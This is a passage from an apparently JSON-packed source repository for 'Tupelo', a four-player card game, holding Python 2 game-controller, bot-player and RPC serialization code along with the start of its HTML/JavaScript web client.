has been played.\n    \"\"\"\n    type = 3\n    rpc_attrs = Event.rpc_attrs + ('player:Player', 'game_state:GameState')\n\n    def __init__(self, player=None, game_state=None):\n        self.player = player\n        self.game_state = game_state\n\n\nclass TurnEvent(Event):\n    \"\"\"\n    It is the player's turn to do something.\n    \"\"\"\n    type = 4\n    rpc_attrs = Event.rpc_attrs + ('game_state:GameState',)\n\n    def __init__(self, game_state=None):\n        self.game_state = game_state\n\n\nclass StateChangedEvent(Event):\n    \"\"\"\n    Game state has changed.\n    \"\"\"\n    type = 5\n    rpc_attrs = Event.rpc_attrs + ('game_state:GameState',)\n\n    def __init__(self, game_state=None):\n        self.game_state = game_state\n\n\nclass EventList(list, rpc.RPCSerializable):\n    \"\"\"\n    Class for event lists.\n    \"\"\"\n    def rpc_encode(self):\n        return [rpc.rpc_encode(event) for event in self]\n\n    @classmethod\n    def rpc_decode(cls, rpcobj):\n        elist = cls()\n        for event in rpcobj:\n            elist.append(rpc.rpc_decode(Event, event))\n        return elist\n\n", "tupelo/game.py": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# vim: set sts=4 sw=4 et:\n\nimport common\nfrom common import CardSet\nfrom common import NOLO, RAMI\nfrom common import TURN_NONE\nfrom common import RuleError, GameError, GameState \nfrom common import synchronized_method\nimport players\nimport threading\nimport sys\nimport copy\nimport logging\n\nclass GameController(object):\n    \"\"\"\n    The controller class that runs everything.\n    \"\"\"\n\n    def __init__(self):\n        super(GameController, self).__init__()\n        self.players = []\n        self.state = GameState()\n        self.shutdown_event = threading.Event()\n        self.id = None\n        self.lock_start = threading.Lock()\n\n    def register_player(self, player):\n        \"\"\"\n        Register a new Player.\n        \"\"\"\n        if player.id in [pl.id for pl in self.players]:\n            raise GameError('Player already registered to game')\n\n        if len(self.players) == 4:\n            raise GameError('Already 4 players registered')\n\n        self.players.append(player)\n        # TODO: should we generate UUIDs instead?\n        if player.id == None:\n            player.id = str(self.players.index(player))\n\n        player.team = self.players.index(player) % 2\n\n    def player_leave(self, player_id):\n        \"\"\"\n        Player leaves the game.\n        \"\"\"\n        self._send_msg('Player %s quit' % player_id)\n        plr = self.get_player(player_id)\n        if plr:\n            self.players.remove(plr)\n            plr.hand.clear()\n            plr.stop() # stops the thread in case of ThreadedPlayer\n\n        # reset the game unless we are still in OPEN state\n        if self.state.state != GameState.OPEN:\n            self._reset()\n\n    def player_quit(self, player_id):\n        \"\"\"\n        Leave and quit the game.\n        \"\"\"\n        self.player_leave(player_id)\n        self.shutdown_event.set()\n\n    def get_player(self, player_id):\n        \"\"\"\n        Get player by id.\n        \"\"\"\n        for plr in self.players:\n            if plr.id == player_id:\n                return plr\n\n        return None\n\n    def _get_player_in_turn(self, turn):\n        \"\"\"\n        Get player who is in turn.\n        \"\"\"\n        if turn >= 0:\n            return self.players[turn % 4]\n\n        return None\n\n    def _next_in_turn(self, thenext=None):\n        \"\"\"\n        Set the next player in turn.\n        \"\"\"\n        self.state.next_in_turn(thenext)\n        self.state.turn_id = self._get_player_in_turn(self.state.turn).id\n\n    def _set_state(self, new_state):\n        \"\"\"\n        Change the game state.\n        \"\"\"\n        self.state.state = new_state\n        for player in self.players:\n            player.state_changed(self.state)\n\n    def _stop_players(self):\n        \"\"\"\n        Stop all running players.\n        \"\"\"\n        self._set_state(GameState.STOPPED)\n        for player in self.players:\n            if player:\n                player.act(self, self.state)\n\n        for player in self.players:\n            if player and isinstance(player, players.ThreadedPlayer):\n                if player.is_alive() and player.thread is not threading.current_thread():\n                    player.join()\n\n    def _reset(self):\n        \"\"\"\n        Reset the game.\n        \"\"\"\n        logging.info('Resetting')\n        self._stop_players()\n        self.players = []\n        self.state = GameState()\n\n    def _get_team_players(self, team):\n        \"\"\"\n        Get players in a team.\n        \"\"\"\n        return [player for player in self.players if player.team == team]\n       \n    def _get_team_str(self, team):\n        \"\"\"\n        Get team string representation.\n        \"\"\"\n        plrs = self._get_team_players(team)\n        return '%d (%s)' % (team + 1, ', '.join([pl.player_name for pl in plrs]))\n\n    def _send_msg(self, msg):\n        \"\"\"\n        Send a message to all players.\n        \"\"\"\n        logging.debug(msg)\n        for player in self.players:\n            player.send_message('', msg)\n\n    @synchronized_method('lock_start')\n    def start_game(self):\n        \"\"\"\n        Start the game.\n        \"\"\"\n        if self.state.state != GameState.OPEN:\n            raise GameError('Game already started')\n\n        if len(self.players) < 4:\n            raise GameError('Not enough players')\n        \n        for player in self.players:\n            player.start()\n\n        self._start_new_hand()\n\n    def wait_for_shutdown(self):\n        \"\"\"\n        Wait for shutdown event and shut down after it.\n        \"\"\"\n        self.shutdown_event.wait()\n        self.shutdown()\n\n    def _signal_act(self):\n        \"\"\"\n        Tell the player who is in turn to act.\n        \"\"\"\n        self._get_player_in_turn(self.state.turn).act(self, self.state)\n\n    def _start_new_hand(self):\n        \"\"\"\n        Start a new hand.\n        \"\"\"\n        logging.info('New hand')\n        self.state.tricks = [0, 0]\n\n        # create a full deck\n        deck = CardSet.new_full_deck()\n\n        logging.debug('deck is %s', str(deck))\n        deck.shuffle()\n        logging.debug('shuffled deck %s', str(deck))\n\n        deck.deal([player.hand for player in self.players])\n\n        for player in self.players:\n            player.hand.sort()\n            logging.debug(\"%s's hand: %s\", player.player_name,\n                str(player.hand))\n\n        # voting \n        self.state.mode = NOLO\n        self.state.rami_chosen_by = None\n        self._set_state(GameState.VOTING)\n\n        # uncomment following to skip voting\n        #self._set_state(GameState.ONGOING)\n        # start the game\n        self._next_in_turn(self.state.dealer + 1)\n        self._signal_act()\n\n    def _trick_played(self):\n        \"\"\"\n        A trick (4 cards) has been played.\n        \"\"\"\n        table = self.state.table\n        high = table.get_cards(suit=table[0].suit).get_highest()\n        high_played_by = self.get_player(high.played_by)\n        team = high_played_by.team\n        self._send_msg('Team %s takes this trick' % (self._get_team_str(team)))\n        self.state.tricks[team] += 1\n        self._send_msg('Tricks: %s' % self.state.tricks)\n        # send signals\n        for plr in self.players:\n            plr.trick_played(high_played_by, self.state)\n\n        self.state.table.clear()\n\n        # do we have a winner?\n        if self.state.tricks[0] + self.state.tricks[1] == 13:\n            self._hand_played()\n        else:\n            self._next_in_turn(self.players.index(high_played_by))\n            self._signal_act()\n\n    def _hand_played(self):\n        \"\"\"\n        A hand has been played.\n        \"\"\"\n\n        if self.state.mode == NOLO:\n            if self.state.tricks[0] < self.state.tricks[1]:\n                winner = 0\n                loser = 1\n            else:\n                winner = 1\n                loser = 0\n            score = (7 - self.state.tricks[winner]) * 4\n        else: \n            if self.state.tricks[0] > self.state.tricks[1]:\n                winner = 0\n                loser = 1\n            else:\n                winner = 1\n                loser = 0\n            if self.state.rami_chosen_by.team != winner:\n                self._send_msg(\"Double points for taking opponent's rami!\")\n                score = (self.state.tricks[winner] - 6) * 8\n            else:\n                score = (self.state.tricks[winner] - 6) * 4\n\n        self._send_msg('Team %s won this hand with %d tricks' % \n                (self._get_team_str(winner), self.state.tricks[winner]))\n\n        if self.state.score[loser] > 0:\n            self._send_msg('Team %s fell down' % (self._get_team_str(loser)))\n            self.state.score = [0, 0]\n        else:\n            self.state.score[winner] += score\n            if self.state.score[winner] > 52:\n                self._send_msg('Team %s won with score %d!' % \n                        (self._get_team_str(winner), self.state.score[winner]))\n                self.shutdown_event.set()\n                return\n            else:\n                self._send_msg('Team %s is at %d' % \n                        (self._get_team_str(winner), self.state.score[winner]))\n\n        self.state.dealer = (self.state.dealer + 1) % 4\n        self._start_new_hand()\n\n    def shutdown(self):\n        \"\"\"\n        Shutdown the game.\n        \"\"\"\n        self._stop_players()\n        sys.exit(0)\n\n    def _vote_card(self, player, card):\n        \"\"\"\n        Player votes with a card.\n        \"\"\"\n        table = self.state.table\n\n        card = copy.copy(card)\n        card.played_by = player.id\n        table.append(card)\n        # fire signals\n        for plr in self.players:\n            plr.card_played(player, card, self.state)\n\n        if card.suit == common.DIAMOND or card.suit == common.HEART:\n            self.state.mode = RAMI\n            self.state.rami_chosen_by = player\n            self._next_in_turn(self.players.index(player) - 1)\n            self._begin_game()\n        elif len(table) == 4:\n            self.state.mode = NOLO\n            self._next_in_turn()\n            self._begin_game()\n        else:\n            self._next_in_turn()\n\n        self._signal_act()\n\n    def _begin_game(self):\n        if self.state.mode == RAMI:\n            self._send_msg('Rami it is')\n        else:\n            self._send_msg('Nolo it is')\n\n        self._send_msg('Game on, %s begins!' % self._get_player_in_turn(self.state.turn))\n\n        self.state.table.clear()\n        self._set_state(GameState.ONGOING)\n            \n    def play_card(self, player, card):\n        \"\"\"\n        Play one card on the table.\n        \"\"\"\n        if self._get_player_in_turn(self.state.turn).id != player.id:\n            raise RuleError('Not your turn')\n\n        table = self.state.table\n\n        if self.state.state == GameState.VOTING:\n            self._vote_card(player, card)\n\n        elif self.state.state == GameState.ONGOING:\n            # make sure that suit is followed\n            if len(table) > 0 and card.suit != table[0].suit:\n                if len(player.hand.get_cards(suit=table[0].suit)) > 0:\n                    raise RuleError('Suit must be followed')\n            \n            # make sure that the player actually has the card\n            try: \n                table.append(player.hand.take(card))\n                card.played_by = player.id\n            except ValueError:\n                raise RuleError('Invalid card')\n\n            if len(table) == 4:\n                # TODO: there must be a better way for this\n                turn_backup = self.state.turn\n                self.state.turn = TURN_NONE\n                # fire signals with temporary state\n                # this is to let clients know that all four cards have been played\n                # and it's nobody's turn yet\n                for plr in self.players:\n                    plr.card_played(player, card, self.state)\n\n                self.state.turn = turn_backup\n                self._trick_played()\n            else:\n                self._next_in_turn()\n                # fire signals\n                for plr in self.players:\n                    plr.card_played(player, card, self.state)\n                self._signal_act()\n        \n", "tupelo/players.py": "#!/usr/bin/env python\n# vim: set sts=4 sw=4 et:\n\nimport threading\nfrom common import CardSet, SPADE, CLUB, HEART, DIAMOND\nfrom common import NOLO, RAMI\nfrom common import RuleError, UserQuit, GameState\nimport rpc\n\nclass Player(rpc.RPCSerializable):\n    \"\"\"\n    Base class for players.\n    \"\"\"\n    rpc_attrs = ('id', 'player_name', 'team')\n\n    def __init__(self, name):\n        self.id = None\n        rpc.RPCSerializable.__init__(self)\n        self.player_name = name\n        self.hand = CardSet()\n        self.team = 0\n        self.controller = None\n        self.game_state = GameState()\n\n    def __repr__(self):\n        return '<%s: %s>' % (self.__class__.__name__, self.player_name)\n\n    def __getstate__(self):\n        \"\"\"\n        Make Player classes safe for pickling and deepcopying.\n        \"\"\"\n        state = {}\n        for key, _ in self.iter_rpc_attrs():\n            state[key] = getattr(self, key)\n\n        return state\n\n    @classmethod\n    def rpc_decode(cls, rpcobj):\n        \"\"\"\n        Decode an RPC-form object into an instance of cls.\n        \"\"\"\n        player = cls(rpcobj['player_name'])\n        for attr, atype in cls.iter_rpc_attrs():\n            if attr != 'player_name':\n                player.rpc_decode_attr(rpcobj, attr, atype)\n\n        return player\n\n    def start(self):\n        \"\"\"\n        Start the player.\n        \"\"\"\n        pass\n\n    def stop(self):\n        \"\"\"\n        Stop the player.\n        \"\"\"\n        pass\n\n    def card_played(self, player, card, game_state):\n        \"\"\"\n        Signal that a card has been played by the given player.\n        \"\"\"\n        pass\n\n    def trick_played(self, player, game_state):\n        \"\"\"\n        Signal that a trick has been played. \"player\" had the winning card.\n        \"\"\"\n        pass\n\n    def state_changed(self, game_state):\n        \"\"\"\n        Signal that the game state has changed, e.g. from VOTING to ONGOING.\n        \"\"\"\n        pass\n\n    def vote(self):\n        \"\"\"\n        Vote for rami or nolo.\n        \"\"\"\n        print 'Not implemented!'\n        raise NotImplementedError()\n\n    def play_card(self):\n        \"\"\"\n        Play one card.\n        \"\"\"\n        print 'Not implemented!'\n        raise NotImplementedError()\n\n    def send_message(self, sender, msg):\n        \"\"\"\n        \"\"\"\n        print 'Not implemented!'\n        raise NotImplementedError()\n\n    def act(self, controller, game_state):\n        \"\"\"\n        Do something.\n\n        This is an event handler that updates\n        the game state and wakes up the thread.\n        \"\"\"\n        print 'Not implemented!'\n        raise NotImplementedError()\n\n\nclass ThreadedPlayer(Player):\n\n    def __init__(self, name):\n        Player.__init__(self, name)\n        self.thread = self._create_thread()\n        self.turn_event = threading.Event()\n        self.stop_flag = False\n\n    def _create_thread(self):\n        \"\"\"\n        Create a new thread for this player.\n        \"\"\"\n        try:\n            strname = str(self.player_name)\n        except UnicodeEncodeError:\n            strname = filter(lambda x: ord(x) < 128, self.player_name)\n\n        return threading.Thread(None, self.run, strname)\n\n    def wait_for_turn(self):\n        \"\"\"\n        Wait for this player's turn.\n        \"\"\"\n        #print \"%s waiting for my turn\" % self\n        self.turn_event.wait()\n        #print \"%s it's about time!\" % self\n        self.turn_event.clear()\n\n    def is_alive(self):\n        \"\"\"\n        Return true if the player thread is alive.\n        \"\"\"\n        if self.thread is not None:\n            return self.thread.isAlive()\n\n        return False\n\n    def start(self):\n        \"\"\"\n        (Re)start the player thread.\n        \"\"\"\n        if self.thread is None:\n            self.thread = self._create_thread()\n\n        # try to handle restart attempts\n        try:\n            return self.thread.start()\n        except RuntimeError:\n            # if the thread is still running, the exception is valid\n            if self.is_alive():\n                raise\n\n            self.thread = self._create_thread()\n            return self.thread.start()\n\n    def join(self, timeout=5.0):\n        \"\"\"\n        Join the player thread, if one exists.\n        \"\"\"\n        if self.thread is None:\n            return\n\n        return self.thread.join(timeout)\n\n    def run(self):\n        \"\"\"\n        The real work is here.\n        \"\"\"\n        print '%s starting' % self\n        self.stop_flag = False\n        while True:\n\n            self.wait_for_turn()\n\n            if self.game_state.state == GameState.STOPPED or \\\n                    self.stop_flag == True:\n                break\n            elif self.game_state.state == GameState.VOTING:\n                try:\n                    self.vote()\n                except UserQuit, error:\n                    print 'UserQuit:', error\n                    self.controller.player_quit(self.id)\n                    break\n                except Exception, error:\n                    print 'Error:', error\n                    raise\n            elif self.game_state.state == GameState.ONGOING:\n                try:\n                    self.play_card()\n                except UserQuit, error:\n                    print 'UserQuit:', error\n                    self.controller.player_quit(self.id)\n                    break\n                except Exception, error:\n                    print 'Error:', error\n                    raise\n            else:\n                print \"Warning: unknown state %d\" % self.game_state.state\n\n        print '%s exiting' % self\n\n    def stop(self):\n        \"\"\"\n        Try to stop the thread, regardless of the state.\n        \"\"\"\n        self.stop_flag = True\n        self.turn_event.set()\n\n    def act(self, controller, game_state):\n        \"\"\"\n        Do something.\n\n        This is an event handler that updates\n        the game state and wakes up the thread.\n        \"\"\"\n        self.controller = controller\n        self.game_state.update(game_state)\n        self.turn_event.set()\n\nclass DummyBotPlayer(ThreadedPlayer):\n    \"\"\"\n    Dummy robot player.\n    \"\"\"\n\n    def send_message(self, sender, msg):\n        \"\"\"\n        Robots don't care about messages.\n        \"\"\"\n        pass\n\n    def vote(self):\n        \"\"\"\n        Vote for rami or nolo.\n        \"\"\"\n        # simple algorithm\n        score = 0\n        for card in self.hand:\n            if card.value > 10:\n                score += card.value - 10\n\n        if score > 16:\n            # rami, red cards\n            choices = self.hand.get_cards(suit=HEART)\n            choices.extend(self.hand.get_cards(suit=DIAMOND))\n        else:\n            # nolo, black cards\n            choices = self.hand.get_cards(suit=SPADE)\n            choices.extend(self.hand.get_cards(suit=CLUB))\n            \n        if len(choices) == 0:\n            choices = self.hand\n\n        best = None\n        for card in choices:\n            if best is None or abs(6 - card.value) < abs(6 - best.value):\n                best = card\n\n        try:\n            #print '%s voting %s' % (self, best)\n            self.controller.play_card(self, best)\n        except RuleError, error:\n            print 'Oops', error\n            raise\n\n    def play_card(self):\n        state = self.game_state\n\n        # pick a card, how hard can it be?\n        card = None\n        if len(state.table) == 0:\n            choices = self.hand\n        else:\n            choices = self.hand.get_cards(suit=state.table[0].suit)\n\n        if state.mode == NOLO:\n            if len(choices) == 0:\n                # \"sakaus\"\n                # should be \"worst score\"\n                card = self.hand.get_highest()\n            else:\n                # real dumb\n                card = choices.get_lowest()\n                if len(state.table) > 0:\n                    high = state.table.get_cards(suit=state.table[0].suit).get_highest()\n                    high_played_by = self.controller.get_player(high.played_by)\n                    if high_played_by.team == self.team:\n                        # we may be getting this trick...\n                        if len(state.table) == 3:\n                            # and i'm the last to play\n                            card = choices.get_highest()\n                        else:\n                            # i'm third\n                            # TODO: should also consider higher cards \n                            candidate = choices.get_highest(roof=high.value)\n                            if candidate is not None:\n                                card = candidate\n                            else:\n                                # might have to take this one\n                                card = choices.get_highest()\n                    else:\n                        # the opponent may get this trick, play under\n                        candidate = choices.get_highest(roof=high.value)\n                        if candidate is not None:\n                            card = candidate\n                        else:\n                            # cannot go under...\n                            if len(state.table) == 3:\n                                # and i'm the last to play\n                                card = choices.get_highest()\n                            else:\n                                pass\n\n        elif state.mode == RAMI:\n            if len(choices) == 0:\n                # should be \"worst score\" or \"least value\"\n                card = self.hand.get_lowest()\n            else:\n                # real dumb\n                card = choices.get_highest()\n                if len(state.table) > 0:\n                    high = state.table.get_cards(suit=state.table[0].suit).get_highest()\n                    high_played_by = self.controller.get_player(high.played_by)\n                    if high_played_by.team == self.team:\n                        # we may be getting this trick...\n                        card = choices.get_lowest()\n                    else:\n                        if len(state.table) == 3:\n                            # i'm the last to play\n                            # take it as cheap as possible, if possible\n                            candidate = choices.get_lowest(floor=high.value)\n                            if candidate is not None:\n                                card = candidate\n                            else:\n                                card = choices.get_lowest()\n                        else:\n                            # i'm second or third\n                            candidate = choices.get_highest(floor=high.value)\n                            if candidate is not None:\n                                card = candidate\n                            else: \n                                # but I cannot take it...\n                                card = choices.get_lowest()\n                                \n        try:\n            #print '%s playing %s' % (self, card)\n            self.controller.play_card(self, card)\n        except RuleError, error:\n            print 'Oops', error\n            raise\n\n\nclass CountingBotPlayer(DummyBotPlayer):\n    \"\"\"\n    Robot player that counts played cards.\n    \"\"\"\n\n    def __init__(self, name):\n        DummyBotPlayer.__init__(self, name)\n        self.cards_left = CardSet()\n\n    def vote(self):\n        \"\"\"\n        Vote for rami or nolo.\n        \"\"\"\n        self.cards_left = CardSet.new_full_deck() - self.hand\n        super(CountingBotPlayer, self).vote()\n\n    def card_played(self, player, card, game_state):\n        \"\"\"\n        Signal that a card has been played by the given player.\n        \"\"\"\n        if player == self:\n            return\n\n        if game_state.state == GameState.VOTING:\n            pass\n        elif game_state.state == GameState.ONGOING:\n            #print \"removing %s  from %s\" %(card, self.cards_left)\n            try:\n                self.cards_left.remove(card)\n            except ValueError:\n                print \"Oops: removing card %s failed\" % card\n                # TODO: we sometimes get this with CountingBotPlayer\n\n\nclass CliPlayer(ThreadedPlayer):\n    \"\"\"\n    Command line interface human player.\n    \"\"\"\n\n    def _pick_card(self, prompt='Pick a card'):\n        \"\"\"\n        Pick one card from the player's hand.\n        \"\"\"\n        print 'Your hand:'\n        print u'  '.join(u'%3s' % (card) for card in self.hand)\n        for i in range(0, len(self.hand)):\n            print '%3d ' % (i + 1),\n        print\n\n        card_ok = False\n        card = None\n        while not card_ok:\n            try:\n                uinput = raw_input('%s (1-%d) --> ' % (prompt, len(self.hand)))\n                index = int(uinput) - 1\n                if index < 0:\n                    raise IndexError()\n                card = self.hand[index] \n                card_ok = True\n            except (IndexError, ValueError):\n                print \"Invalid choice `%s'\" % uinput\n            except EOFError:\n                #error.message = 'EOF received from command line'\n                #error.args = error.message,\n                #raise error\n                raise EOFError('EOF received from command line')\n\n        return card\n\n    def vote(self):\n        \"\"\"\n        Vote for rami or nolo.\n        \"\"\"\n        print 'Voting'\n        card_played = False\n        while not card_played:\n            try:\n                card = self._pick_card()\n                print 'Voting with %s' % (card)\n                self.controller.play_card(self, card)\n                card_played = True\n            except RuleError, error:\n                print 'Oops:', error\n            except EOFError:\n                raise UserQuit('EOF from command line')\n\n    def play_card(self):\n        \"\"\"\n        Play one card.\n        \"\"\"\n        state = self.game_state\n\n        # print table\n        if state.mode == NOLO:\n            print 'Playing nolo'\n        elif state.mode == RAMI:\n            print 'Playing rami'\n        else:\n            print 'Unknown mode %d' % state.mode\n\n        print 'Table:'\n        for card in state.table:\n            try:\n                plr = '%s: ' % self.controller.get_player(card.played_by).player_name\n            except:\n                # showing the (random) player ID is not very intuitive\n                plr = ''\n            print '%s%s' % (plr, card)\n\n        card_played = False\n        while not card_played:\n            try:\n                card = self._pick_card('Card to play')\n                print 'Playing %s' % (card)\n                self.controller.play_card(self, card)\n                card_played = True\n            except RuleError, error:\n                print 'Oops:', error\n            except EOFError:\n                raise UserQuit('EOF from command line')\n\n    def card_played(self, player, card, game_state):\n        \"\"\"\n        Event handler for a played card.\n        \"\"\"\n        if player.id == self.id:\n            player_str = 'You'\n        else:\n            player_str = '%s' % player\n\n        if game_state.state == GameState.VOTING:\n            print '%s voted %s' % (player_str, card)\n        else:\n            print '%s played %s' % (player_str, card)\n\n    def send_message(self, sender, msg):\n        \"\"\"\n        Send a message to this player.\n        \"\"\"\n        if sender is not None:\n            print '%s: %s' % (sender, msg)\n        else:\n            print '%s' % msg\n\n", "tupelo/rpc.py": "#!/usr/bin/env python\n# vim: set sts=4 sw=4 et:\n\ndef rpc_encode(obj):\n    \"\"\"\n    Encode an object into RPC-safe form.\n    \"\"\"\n    try:\n        return obj.rpc_encode()\n    except AttributeError:\n        return obj\n\ndef rpc_decode(cls, rpcobj):\n    \"\"\"\n    Decode an RPC-form object into an instance of cls.\n    \"\"\"\n    try:\n        return cls.rpc_decode(rpcobj)\n    except AttributeError:\n        return rpcobj\n\ndef _memoize(func, cache={}):\n    def decf(*args, **kwargs):\n        key = (func, tuple(args), frozenset(kwargs.items()))\n        if key not in cache:\n            cache[key] = func(*args, **kwargs)\n        return cache[key]\n    return decf\n\ndef _itersubclasses(cls, _seen=None):\n    \"\"\"\n    itersubclasses(cls)\n\n    Generator over all subclasses of a given class, in depth first order.\n    \"\"\"\n    if not isinstance(cls, type):\n        raise TypeError('itersubclasses must be called with '\n                        'new-style classes, not %.100r' % cls)\n    if _seen is None:\n        _seen = set()\n    try:\n        subs = cls.__subclasses__()\n    except TypeError: # fails only when cls is type\n        subs = cls.__subclasses__(cls)\n    for sub in subs:\n        if sub not in _seen:\n            _seen.add(sub)\n            yield sub\n            for sub in _itersubclasses(sub, _seen):\n                yield sub\n\nclass RPCSerializable(object):\n    \"\"\"\n    Base class for objects that are serializable into\n    an RPC-safe form.\n    \"\"\"\n    def __eq__(self, other):\n        if not hasattr(self, 'rpc_attrs'):\n            return object.__eq__(self, other)\n\n        if hasattr(self, 'rpc_type'):\n            try:\n                if self.rpc_type != other.rpc_type:\n                    return False\n            except AttributeError:\n                return False\n\n        for attr, _ in self.iter_rpc_attrs():\n            try:\n                if getattr(self, attr) != getattr(other, attr):\n                    return False\n            except AttributeError:\n                return False\n\n        return True\n\n    def __ne__(self, other):\n        return not self.__eq__(other)\n\n    @classmethod\n    def iter_rpc_attrs(cls):\n        \"\"\"\n        Generator for iterating rpc_attrs with attr and type separated.\n        \"\"\"\n        iterator = iter(cls.rpc_attrs)\n        while 1:\n            data = iterator.next().split(':')\n            if len(data) == 1:\n                data.append(None)\n            yield (data[0], data[1])\n\n    def rpc_encode(self):\n        \"\"\"\n        Encode an instance of RPCSerializable into an rpc object.\n        \"\"\"\n        if hasattr(self, 'rpc_attrs'):\n            rpcobj = {}\n            for attr, _ in self.iter_rpc_attrs():\n                rpcform = None\n                try:\n                    rpcform = getattr(self, attr)\n                    rpcform = rpc_encode(rpcform)\n                except AttributeError:\n                    pass\n\n                if rpcform is not None:\n                    rpcobj[attr] = rpcform\n\n            return rpcobj\n        # default behaviour\n        return self\n    \n    @classmethod\n    def rpc_decode_simple(cls, rpcobj):\n        \"\"\"\n        Default decode method.\n        \"\"\"\n        if hasattr(cls, 'rpc_attrs'):\n            instance = cls()\n            for attr, atype in cls.iter_rpc_attrs():\n                instance.rpc_decode_attr(rpcobj, attr, atype)\n\n            return instance\n        else:\n            return rpcobj\n\n    @classmethod\n    def rpc_decode(cls, rpcobj):\n        \"\"\"\n        Decode an rpc object into an instance of cls.\n        \"\"\"\n        return cls.rpc_decode_simple(rpcobj)\n\n    def rpc_decode_attr(self, rpcobj, attr, atype=None):\n        \"\"\"\n        Decode one attribute.\n        \"\"\"\n        if rpcobj.has_key(attr):\n            attr_cls = self.get_class_for_type(atype)\n            if attr_cls:\n                setattr(self, attr,\n                        rpc_decode(attr_cls, rpcobj[attr]))\n            else:\n                setattr(self, attr, rpcobj[attr])\n\n    @classmethod\n    @_memoize\n    def get_class_for_type(cls, atype):\n        if atype is None:\n            return None\n\n        # try first if some class has a overridden type\n        for sub in _itersubclasses(RPCSerializable):\n            if hasattr(sub, 'rpc_type') and sub.rpc_type == atype:\n                return sub\n        # then try with class name\n        for sub in _itersubclasses(RPCSerializable):\n            if sub.__name__ == atype:\n                return sub\n\n        return None\n\n", "www/index.html": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\n<head>\n<meta http-equiv=\"Content-type\" content=\"text/html;charset=UTF-8\" />\n<meta http-equiv=\"X-UA-Compatible\" content=\"IE=8\" />\n<link rel=\"stylesheet\" type=\"text/css\" href=\"tupelo.css\" />\n<link rel=\"stylesheet\" type=\"text/css\" href=\"buttons.css\" /> \n<script type=\"text/javascript\" src=\"jquery.js\"></script>\n<script type=\"text/javascript\" src=\"jquery.cookie.js\"></script>\n<script type=\"text/javascript\" src=\"tupelo.js\"></script>\n<script type=\"text/javascript\" src=\"tupelo-main.js\"></script>\n<title>Tupelo</title>\n</head>\n<body>\n<div id=\"debug\"></div>\n<div id=\"header\">\n<span class=\"h1\">tupelo</span>\n<div id=\"user_data\">\n<div id=\"register_form\">\n<p>\n<input id=\"register_name\" type=\"text\"/>\n<button id=\"register_btn\" class=\"btn\"><span><span>sign on</span></span></button>\n</p>\n</div>\n<div id=\"quit_form\">\n<p>\nSigned on as <span class=\"my_name\"></span> <button id=\"quit_btn\" class=\"btn\"><span><span>sign off</span></span></button>\n</p>\n</div>\n</div>\n</div>\n<div id=\"main_content\">\n<div id=\"games\" class=\"listbox\">\n<h3 class=\"box_heading\">list of games</h3>\n<div id=\"game_list\">\n<table>\n<tbody>\n</tbody>\n</table>\n</div>\n<div id=\"game_create_form\">\n<button id=\"game_create_btn\" class=\"btn\"><span><span>create game</span></span></button>\n</div>\n</div>\n<div id=\"players\" class=\"listbox\">\n<h3 class=\"box_heading\">players online</h3>\n<div id=\"player_list\">\n<table>\n<tbody>\n</tbody>\n</table>\n</div>\n</div>\n<div id=\"my_game\">\n<p id=\"joined_game\"></p>\n<button class=\"game_leave_btn btn\"><span><span>leave</span></span></button>\n<button id=\"game_start\" class=\"btn\"><span><span>start</span></span></button>\n<button id=\"game_start_with_bots\" class=\"btn\"><span><span>start with bots</span></span></button>\n</div>\n<div id=\"game\">\n<div id=\"game_status_area\"><span id=\"game_status\"></span><span id=\"game_leave_form\"><button class=\"game_leave_btn btn\"><span><span>leave game</span></span></button></span></div>\n<div id=\"game_area\">\n<table>\n<tbody>\n<tr><td/><td id=\"table_2\"><div class=\"player_data\"><div class=\"player_name\"></div><div class=\"table\"></div></div></td><td/></tr>\n<tr><td id=\"table_1\"><span class=\"player_data\"><span class=\"player_name\"></span><span class=\"table\"></span></span></td><td/><td id=\"table_3\"><span class=\"player_data\"><span class=\"table\"></span><span class=\"player_name\"></span></span></td></tr>\n<tr><td/><td id=\"table_0\"><div class=\"player_data\"><div class=\"table\"></div><div class=\"player_name\"></div></div></td><td/></tr>\n</tbody>\n</table>\n</div>\n<div id=\"events\" class=\"listbox\">\n<h3 class=\"box_heading\">log</h3>\n<textarea id=\"event_log\" rows=\"10\" cols=\"30\" readonly=\"readonly\">\n</textarea>\n</div>\n<div id=\"hand\"></div>\n</div>\n</div>\n</body>\n</html>\n", "www/tupelo-main.js": "(function() {\n  var $;\n  var __hasProp = Object.prototype.hasOwnProperty;\n\n  $ = jQuery;\n\n  $(document).ready(function() {\n    var ajaxErr, cardClicked, cardPlayed, clearTable, dbg, escapeHtml, eventsOk, gameCreateOk, gameInfoOk, getGameState, getTeamPlayers, hello, leaveOk, leftGame, listGamesOk, listPlayersOk, messageReceived, processEvent, quitOk, registerOk, setState, startOk, stateChanged, states, trickPlayed, tupelo, turnEvent, updateGameLinks, updateGameState, updateHand, updateLists;\n    tupelo = {\n      game_state: {},\n      events: []\n    };\n    states = {\n      initial: {\n        show: [\"#register_form\"],\n        hide: [\"#quit_form\", \"#games\", \"#players\", \"#my_game\", \"#game\"],\n        change: function() {\n          var reg;\n          reg = $(\"#register_name\");\n          reg.addClass(\"initial\");\n          reg.val(\"Your name\");\n        }\n      },\n      registered: {\n        show: [\"#quit_form\", \"#games\", \"#players\", \"#game_create_form\"],\n        hide: [\"#register_form\", \"#my_game\", \"#game\"],\n        change: function() {\n          if (!(tupelo.list_timer != null)) {\n            return tupelo.list_timer = setInterval(updateLists, 5000);\n          }\n        }\n      },\n      gameCreated: {\n        show: [\"#my_game\"],\n        hide: [\"#game_create_form\"]\n      },\n      inGame: {\n        show: [\"#game\"],\n        hide: [\"#games\", \"#players\", \"#my_game\"]\n      }\n    };\n    setState = function(state, effectDuration) {\n      var elem, st, _i, _j, _len, _len2, _ref, _ref2;\n      st = states[state];\n      _ref = st.hide;\n      for (_i = 0, _len = _ref.length; _i < _len; _i++) {\n        elem = _ref[_i];\n        $(elem).hide(effectDuration);\n      }\n      _ref2 = st.show;\n      for (_j = 0, _len2 = _ref2.length; _j < _len2; _j++) {\n        elem = _ref2[_j];\n        $(elem).show(effectDuration);\n      }\n      if (st.change != null) return st.change();\n    };\n    escapeHtml = function(str) {\n      return str.replace(\"<\", \"&lt;\").replace(\">\", \"&gt;\");\n    };\n    dbg = function() {\n      if (T.debug) return 